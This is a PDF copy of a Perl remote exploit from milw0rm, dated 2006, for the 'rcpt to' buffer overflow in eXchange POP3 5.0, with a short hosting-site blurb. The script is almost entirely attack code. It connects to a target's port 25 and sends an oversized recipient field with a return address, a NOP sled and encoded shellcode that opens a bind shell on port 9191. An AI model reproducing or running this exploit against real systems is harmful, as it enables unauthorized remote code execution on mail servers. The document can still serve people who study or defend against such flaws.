eXchange POP3 5.0.050203 rcpt to Remote Buffer Overflow Exploit.pdf

About Global Documents

Global Documents provides you with documents from around the globe on a variety of topics for your enjoyment.

Global Documents utilizes edocr for all its document needs due to edocr's wonderful content features. Thousands of professionals and businesses around the globe publish marketing, sales, operations, customer service and financial documents making it easier for prospects and customers to find content.

x88 x88 x88 x01 xCE x88 x88 x01 x77 x03 x89 x88 x88 x88 x88 x88

1 #!/usr/bin/perl −w        
2 # for educational purposes only .   
3   use IO::Socket;
4                       if ($#ARGV<0) 
5                     { 
6                          print "\n write the target IP!! \n\n"; 
7                        exit; 
8                      } 
9                 $buffer2 = "\x90"x1999999;
10                 $mailf= "mail";
11                 $rcptt ="rcpt to:<";
12                 $buffer = "\x41"x4100;
13                 $ret   = "\x80\x1d\xdc\x02";
14                 $shellcode = "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33".
15                       "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C".
16                       "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE".
17                       "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB".
18                       "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77".
19                       "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77".
20                       "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77".
21                       "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77".
22                       "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77".
23                       "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77".
24                       "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77".
25                       "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77".
26                       "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77".
27                       "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB".
28                       "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C".
29                       "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0".
30                       "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77".
31                       "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0".
32                       "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB".
33                       "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5".
34                       "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98".
35                       "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE".
36                       "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77".
37                       "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8".
38                       "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF".
39                       "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90".
40                       "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74".
41                       "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4".
42                       "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94".
43                       "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5".
44                       "\xD3\x4A\x8C\x88";
45
46                 $enter  = "\x0d\x0a";
47                 $connect = IO::Socket::INET −>new (Proto=>"tcp",
48                 PeerAddr=> "$ARGV[0]",
49                 PeerPort=>"25"); unless ($connect) { die "cant connect" }  
50                 print "\nExchangepop3 v5.0  remote exploit by securma massine\n";
51                 print "\n+++++++++++www.morx.org++++++++++++++++\n";              
52                 $connect−>recv($text,128); 
Page 1/2
eXchange POP3 5.0.050203 rcpt to Remote Buffer Overflow Exploit
securma massine
02/03/2006
53                 print "$text\n";
54                 $connect−>send($mailf . $enter); 
55                 $connect−>recv($text,128); 
56                 print "$text\n";
57                 $connect−>send($rcptt . $buffer . $ret . $buffer2 .  $shellcode . $enter); 
58                 print "\nsending exploit......\n\n";
59                  print "\ntelnet to  server port 9191 .........\n\n";
60
61 # milw0rm.com [2006−02−03]
Page 2/2
eXchange POP3 5.0.050203 rcpt to Remote Buffer Overflow Exploit
securma massine
02/03/2006